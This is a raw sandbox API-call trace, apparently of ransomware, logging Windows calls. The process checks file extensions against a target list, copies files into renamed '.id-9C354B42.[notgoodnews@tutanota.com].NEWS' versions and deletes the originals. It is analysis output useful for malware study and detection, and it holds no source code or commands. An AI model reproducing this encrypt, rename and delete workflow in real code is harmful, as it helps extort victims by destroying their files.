[0270.954] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0270.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.954] lstrlenW (lpString=".dbf") returned 4 [0270.954] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0270.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.954] lstrlenW (lpString=".1cd") returned 4 [0270.954] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0270.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CLVWINTL.DLL") returned 60 [0270.954] lstrlenW (lpString=".jpg") returned 4 [0270.954] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0270.955] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0270.955] lstrlenW (lpString="CMAXRES.DLL") returned 11 [0270.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0271.200] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=35216) returned 1 [0271.200] CloseHandle (hObject=0x3cc) returned 1 [0271.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll")) returned 0x20 [0271.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\cmaxres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.241] lstrlenW (lpString=".doc") returned 4 [0271.241] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0271.241] lstrlenW (lpString=".docx") returned 5 [0271.241] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0271.241] lstrlenW (lpString=".pdf") returned 4 [0271.242] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0271.242] lstrlenW (lpString=".xls") returned 4 [0271.242] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0271.242] lstrlenW (lpString=".xlsx") returned 5 [0271.242] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0271.242] lstrlenW (lpString=".ppt") returned 4 [0271.242] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0271.242] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.242] lstrlenW (lpString=".zip") returned 4 [0271.242] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0271.242] lstrlenW (lpString=".rar") returned 4 [0271.242] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0271.242] lstrlenW (lpString=".bz2") returned 4 [0271.242] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0271.243] lstrlenW (lpString=".7z") returned 3 [0271.243] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0271.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.243] lstrlenW (lpString=".dbf") returned 4 [0271.243] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0271.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.243] lstrlenW (lpString=".1cd") returned 4 [0271.243] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0271.243] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.243] lstrlenW (lpString=".jpg") returned 4 [0271.243] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0271.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.244] lstrlenW (lpString=".doc") returned 4 [0271.244] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0271.244] lstrlenW (lpString=".docx") returned 5 [0271.244] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0271.244] lstrlenW (lpString=".pdf") returned 4 [0271.244] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0271.244] lstrlenW (lpString=".xls") returned 4 [0271.244] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0271.244] lstrlenW (lpString=".xlsx") returned 5 [0271.245] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0271.245] lstrlenW (lpString=".ppt") returned 4 [0271.245] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0271.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.245] lstrlenW (lpString=".zip") returned 4 [0271.245] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0271.245] lstrlenW (lpString=".rar") returned 4 [0271.245] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0271.245] lstrlenW (lpString=".bz2") returned 4 [0271.245] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0271.245] lstrlenW (lpString=".7z") returned 3 [0271.245] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0271.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.246] lstrlenW (lpString=".dbf") returned 4 [0271.246] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0271.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.246] lstrlenW (lpString=".1cd") returned 4 [0271.246] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0271.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\CMAXRES.DLL") returned 59 [0271.246] lstrlenW (lpString=".jpg") returned 4 [0271.247] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0271.247] lstrcmpiW (lpString1=".VSL", lpString2=".NEWS") returned 1 [0271.247] lstrlenW (lpString="DBENGR.VSL") returned 10 [0271.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0271.434] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=53144) returned 1 [0271.434] CloseHandle (hObject=0x3b0) returned 1 [0271.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 0x20 [0271.434] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0271.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0271.435] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.435] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0271.435] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0272.522] GetLastError () returned 0x0 [0272.522] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0xcf98, lpOverlapped=0x0) returned 1 [0272.819] WriteFile (in: hFile=0x39c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xcfa0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xcfa0, lpOverlapped=0x0) returned 1 [0272.828] ReadFile (in: hFile=0x3b0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0272.829] WriteFile (in: hFile=0x39c, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xe8, lpOverlapped=0x0) returned 1 [0272.829] SetEndOfFile (hFile=0x39c) returned 1 [0272.829] CloseHandle (hObject=0x39c) returned 1 [0272.830] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0272.831] SetEndOfFile (hFile=0x3b0) returned 1 [0272.849] CloseHandle (hObject=0x3b0) returned 1 [0272.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0272.935] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dbengr.vsl")) returned 1 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.936] lstrlenW (lpString=".doc") returned 4 [0272.936] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0272.936] lstrlenW (lpString=".docx") returned 5 [0272.936] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0272.936] lstrlenW (lpString=".pdf") returned 4 [0272.936] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0272.936] lstrlenW (lpString=".xls") returned 4 [0272.936] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0272.936] lstrlenW (lpString=".xlsx") returned 5 [0272.937] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0272.937] lstrlenW (lpString=".ppt") returned 4 [0272.937] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0272.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.937] lstrlenW (lpString=".zip") returned 4 [0272.937] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0272.937] lstrlenW (lpString=".rar") returned 4 [0272.937] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0272.937] lstrlenW (lpString=".bz2") returned 4 [0272.937] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0272.937] lstrlenW (lpString=".7z") returned 3 [0272.937] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.938] lstrlenW (lpString=".dbf") returned 4 [0272.938] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.938] lstrlenW (lpString=".1cd") returned 4 [0272.938] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.938] lstrlenW (lpString=".jpg") returned 4 [0272.938] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.939] lstrlenW (lpString=".doc") returned 4 [0272.939] lstrcmpiW (lpString1=".doc", lpString2=".VSL") returned -1 [0272.939] lstrlenW (lpString=".docx") returned 5 [0272.939] lstrcmpiW (lpString1=".docx", lpString2="R.VSL") returned -1 [0272.939] lstrlenW (lpString=".pdf") returned 4 [0272.939] lstrcmpiW (lpString1=".pdf", lpString2=".VSL") returned -1 [0272.939] lstrlenW (lpString=".xls") returned 4 [0272.939] lstrcmpiW (lpString1=".xls", lpString2=".VSL") returned 1 [0272.939] lstrlenW (lpString=".xlsx") returned 5 [0272.939] lstrcmpiW (lpString1=".xlsx", lpString2="R.VSL") returned -1 [0272.940] lstrlenW (lpString=".ppt") returned 4 [0272.940] lstrcmpiW (lpString1=".ppt", lpString2=".VSL") returned -1 [0272.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.940] lstrlenW (lpString=".zip") returned 4 [0272.940] lstrcmpiW (lpString1=".zip", lpString2=".VSL") returned 1 [0272.940] lstrlenW (lpString=".rar") returned 4 [0272.940] lstrcmpiW (lpString1=".rar", lpString2=".VSL") returned -1 [0272.940] lstrlenW (lpString=".bz2") returned 4 [0272.940] lstrcmpiW (lpString1=".bz2", lpString2=".VSL") returned -1 [0272.940] lstrlenW (lpString=".7z") returned 3 [0272.940] lstrcmpiW (lpString1=".7z", lpString2="VSL") returned -1 [0272.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.940] lstrlenW (lpString=".dbf") returned 4 [0272.940] lstrcmpiW (lpString1=".dbf", lpString2=".VSL") returned -1 [0272.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.941] lstrlenW (lpString=".1cd") returned 4 [0272.941] lstrcmpiW (lpString1=".1cd", lpString2=".VSL") returned -1 [0272.941] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DBENGR.VSL") returned 58 [0272.941] lstrlenW (lpString=".jpg") returned 4 [0272.941] lstrcmpiW (lpString1=".jpg", lpString2=".VSL") returned -1 [0272.942] lstrcmpiW (lpString1=".DLL", lpString2=".NEWS") returned -1 [0272.942] lstrlenW (lpString="DL_RES.DLL") returned 10 [0272.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\DL_RES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\dl_res.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 71 os_tid = 0x65c [0193.639] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a804a0 [0193.641] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x3a904a8 [0193.642] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c70 [0193.642] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x930f40 [0193.642] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4c88 [0193.642] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x3f50020 [0193.643] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ca0 [0193.643] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4ca0, Size=0x20) returned 0x8d3288 [0193.643] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8f4ca0 [0193.643] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8f4ca0, Size=0x20) returned 0x8d32b0 [0193.643] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77080000 [0193.644] GetProcAddress (hModule=0x77080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x770ad650 [0193.644] Wow64DisableWow64FsRedirection (in: OldValue=0x342ff58 | out: OldValue=0x342ff58*=0x0) returned 1 [0193.644] lstrlenW (lpString="kernel32.dll") returned 12 [0193.644] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d3288 | out: hHeap=0x880000) returned 1 [0193.644] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0193.644] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8d32b0 | out: hHeap=0x880000) returned 1 [0193.644] Sleep (dwMilliseconds=0x64) [0193.840] Sleep (dwMilliseconds=0x64) [0194.851] Sleep (dwMilliseconds=0x64) [0195.336] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0195.337] lstrlenW (lpString="Alphabet.xml") returned 12 [0195.337] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0195.599] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=791686) returned 1 [0195.599] CloseHandle (hObject=0x208) returned 1 [0195.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0195.599] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0195.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0195.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.600] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.600] lstrlenW (lpString=".doc") returned 4 [0195.600] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.600] lstrlenW (lpString=".docx") returned 5 [0195.600] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0195.600] lstrlenW (lpString=".pdf") returned 4 [0195.600] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.600] lstrlenW (lpString=".xls") returned 4 [0195.600] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.600] lstrlenW (lpString=".xlsx") returned 5 [0195.601] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0195.601] lstrlenW (lpString=".ppt") returned 4 [0195.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.601] lstrlenW (lpString=".zip") returned 4 [0195.601] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.601] lstrlenW (lpString=".rar") returned 4 [0195.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.601] lstrlenW (lpString=".bz2") returned 4 [0195.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.601] lstrlenW (lpString=".7z") returned 3 [0195.602] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.602] lstrlenW (lpString=".dbf") returned 4 [0195.602] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.602] lstrlenW (lpString=".1cd") returned 4 [0195.602] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.602] lstrlenW (lpString=".jpg") returned 4 [0195.602] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.602] lstrlenW (lpString=".doc") returned 4 [0195.603] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.603] lstrlenW (lpString=".docx") returned 5 [0195.603] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0195.603] lstrlenW (lpString=".pdf") returned 4 [0195.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.603] lstrlenW (lpString=".xls") returned 4 [0195.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.603] lstrlenW (lpString=".xlsx") returned 5 [0195.603] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0195.603] lstrlenW (lpString=".ppt") returned 4 [0195.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.603] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.603] lstrlenW (lpString=".zip") returned 4 [0195.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.603] lstrlenW (lpString=".rar") returned 4 [0195.604] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.604] lstrlenW (lpString=".bz2") returned 4 [0195.604] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.604] lstrlenW (lpString=".7z") returned 3 [0195.604] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.604] lstrlenW (lpString=".dbf") returned 4 [0195.604] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.604] lstrlenW (lpString=".1cd") returned 4 [0195.604] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.604] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0195.605] lstrlenW (lpString=".jpg") returned 4 [0195.605] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.605] lstrcmpiW (lpString1=".avi", lpString2=".NEWS") returned -1 [0195.605] lstrlenW (lpString="boxed-join.avi") returned 14 [0195.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0196.523] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x342ff1c | out: lpFileSize=0x342ff1c*=33280) returned 1 [0196.523] CloseHandle (hObject=0x200) returned 1 [0196.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi")) returned 0x20 [0196.523] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0197.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.772] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.772] lstrlenW (lpString=".doc") returned 4 [0198.772] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0198.772] lstrlenW (lpString=".docx") returned 5 [0198.772] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0198.772] lstrlenW (lpString=".pdf") returned 4 [0198.772] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0198.773] lstrlenW (lpString=".xls") returned 4 [0198.773] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0198.773] lstrlenW (lpString=".xlsx") returned 5 [0198.773] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0198.773] lstrlenW (lpString=".ppt") returned 4 [0198.773] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0198.773] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.773] lstrlenW (lpString=".zip") returned 4 [0198.773] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0198.773] lstrlenW (lpString=".rar") returned 4 [0198.773] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0198.773] lstrlenW (lpString=".bz2") returned 4 [0198.773] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0198.773] lstrlenW (lpString=".7z") returned 3 [0198.774] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0198.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.774] lstrlenW (lpString=".dbf") returned 4 [0198.774] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0198.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 [0198.774] lstrlenW (lpString=".1cd") returned 4 [0198.774] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0198.774] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-join.avi") returned 71 